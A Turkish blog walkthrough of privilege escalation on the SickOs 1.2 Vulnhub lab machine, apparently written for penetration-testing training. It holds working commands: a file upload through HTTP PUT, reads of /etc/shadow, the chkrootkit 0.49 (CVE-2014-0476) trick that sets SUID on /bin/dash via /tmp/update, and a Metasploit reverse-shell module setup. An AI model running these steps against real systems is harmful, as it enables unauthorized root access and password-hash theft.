Unix-Privesc-Check Betiği ile Tespit Edilen Zafiyetli Chkrootkit Paketindeki Zafiyet İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

Sızma testleri sırasında uygulamaların güvenilir bir şekilde yapılandırılmamasından ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen SickOs: 1.2 sanal makinesinde, Unix-Privesc-Check betiği ile tespit edilen zamanlanmış görevlerdeki zafiyetli bir uygulama kötüye kullanılarak uygulamayı çalıştıran kullanıcı (“root“) yetkilerine sahip olunacaktır.

Yazıda kullanılan SickOs: 1.2 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/sickos-12,144/

 

Not: Aynı zafiyete sahip SecTalks: BNE0x02 – Fuku sanal makinesi Vulnhub sitesinden indirilebilir. Bu sanal makinesinin komut satırına SSH ile erişim için belirtilen kimlik bilgileri kullanılabilir.

https://www.vulnhub.com/entry/sectalks-bne0x02-fuku,140/
Kullanıcı Adı: gizmo
Parola: sillyboy
IP:13370/administrator/index.php

SickOs: 1.2 sanal makinesinde “www-data” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 32 bit mimarideki Ubuntu 12.04.4 LTS olduğu görülmektedir.

id
uname -a
head -3 /etc/passwd
tail -4 /etc/passwd
cat /etc/shadow

 

A) Hak Yükseltme Zafiyetinin Tespiti

Muhtemel hak yükseltme zafiyetlerinin listesi için Unix-Privesc-Check isimli Bash betiği kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check

 

İndirilen dosya hedef uygulamadaki HTTP PUT metodu zafiyeti kullanılarak kurban makineye aktarılır.

nmap -Pn -n -sV -p80 172.20.50.134 –script http-put –script-args url=’/test/HakYuksektmeBetigi.sh’,file=’/root/unix-privesc-check’

pwd
mv /var/www/test/HakYuksektmeBetigi.sh /tmp/
cd /tmp/
ls -la HakYuksektmeBetigi.sh
chmod +x HakYuksektmeBetigi.sh

 

Betiğin standart ve detaylı olmak üzere 2 modda çalıştığı görülmektedir. Betik çıktısı uzun olduğu için bir dosyaya da yazdırılabilir.

./HakYuksektmeBetigi.sh
./HakYuksektmeBetigi.sh detailed > Sonuc.txt 2>/dev/null

 

Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.

grep -E “####” Sonuc.txt -B1 | grep -Ev “^####|^–|^$”

Recording hostname
Recording uname
Recording Interface IP addresses
Checking if external authentication is allowed in /etc/passwd
Checking nsswitch.conf/netsvc.conf for addition authentication methods
Checking for writable config files
Checking if /etc/shadow is readable
Checking if /etc/shadow is writable
Checking if /etc/passwd is writable
Checking for password hashes in /etc/passwd
Checking account settings
Checking library directories from /etc/ld.so.conf
Checking sudo configuration
Checking permissions on swap file(s)
Checking programs run from inittab
Checking postgres trust relationships
Checking permissions on device files for mounted partitions
Checking cron job programs aren’t writable (/etc/crontab)
Checking cron job programs aren’t writable (/var/spool/cron/crontabs)
Checking cron job programs aren’t writable (/var/spool/cron/tabs)
Checking inetd programs aren’t writable
Checking xinetd programs aren’t writeable
Checking home directories aren’t writable
Checking for readable sensitive files in home directories
Checking SUID/SGID programs
Checking fscaps programs
Checking for cleartext subversion passwords in home directories
Checking for Private SSH Keys in home directories
Checking for Public SSH Keys in home directories
Checking classpath permissions for Java processes
Checking for SSH agents
Checking for GPG agents
Checking startup files (init.d / rc.d) aren’t writable
Checking if running programs are writable
Checking exploit mitigation

 

Zamanlanmış görev incelendiğinde “chkrootkit 0.49” paketi göze çarpmaktadır.

ls -lah /etc/cron* 2>/dev/null | head -20
dpkg -l | grep chkrootkit
chkrootkit -V

 

B) Chkrootkit 0.49 İstismarı

Bu paket günde bir “root” yetkileri ile çalışmaktadır. Bu pakette hak yükseltme zafiyeti olduğu görülmektedir.

searchsploit chkrootkit

 

Kurulu bu pakette “Chkrootkit 0.49 – Privilege Escalation” isimli CVE-2014-0476 ID’li bir zafiyet bulunmaktadır. Bu paketteki kontrol eksikliği dolayısı ile SLAPPER_FILES değişkeni ile belirtilen dosyaların (tmp/.unlock, tmp/httpd, tmp/update, tmp/.cinik, tmp/.b, …) içeriği bu paketi çalıştıran kullanıcı yetkileri ile çalıştırılabilir ve hak yükseltilebilir.

https://www.exploit-db.com/exploits/33899/

 

SLAPPER_FILES ile belirtilen dosyalardan birisi olan “tmp/update” dosyasına “root” yetkisi ile çalıştırılması istenen içerik yazılır. Örnek olarak BASH kabuğunun küçük sürümü olan “/bin/dash” adlı dosyanın SUID biti etkinleştirilebilir.

ls -la /bin/dash
echo “#\!/bin/bash” > /tmp/update
echo “chmod u+s /bin/dash” > /tmp/update
cat /tmp/update
chmod +x /tmp/update
ls -la /tmp/update

 

Bir süre sonra “/bin/dash” dosyasının SUID bitinin etkin olduğu görülür ve root yetkilerine erişim sağlanmış olur.

ls -la /bin/dash
/bin/dash
id
head -3 /etc/shadow
tail -3 /etc/shadow

 

Not: Benzer olarak MSF chkrootkit istismar modülü ile de hak yükseltilebilir. Ancak uzun süre beklenmesine rağmen modül çalışmamıştır.

sessions
use exploit/unix/local/chkrootkit
set SESSION 1
set PAYLOAD cmd/unix/reverse
set LHOST 172.20.50.135
set LPORT 8080
exploit

 

Kaynaklar:

https://www.arashparsa.com/2016/04/27/sickos1.2-walkthrough
http://www.hackingarticles.in/hack-sickos-2-1-vm-ctf-challenge/
https://github.com/sectalks/sectalks/tree/master/ctf-solutions/BNE0x02/Bull

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.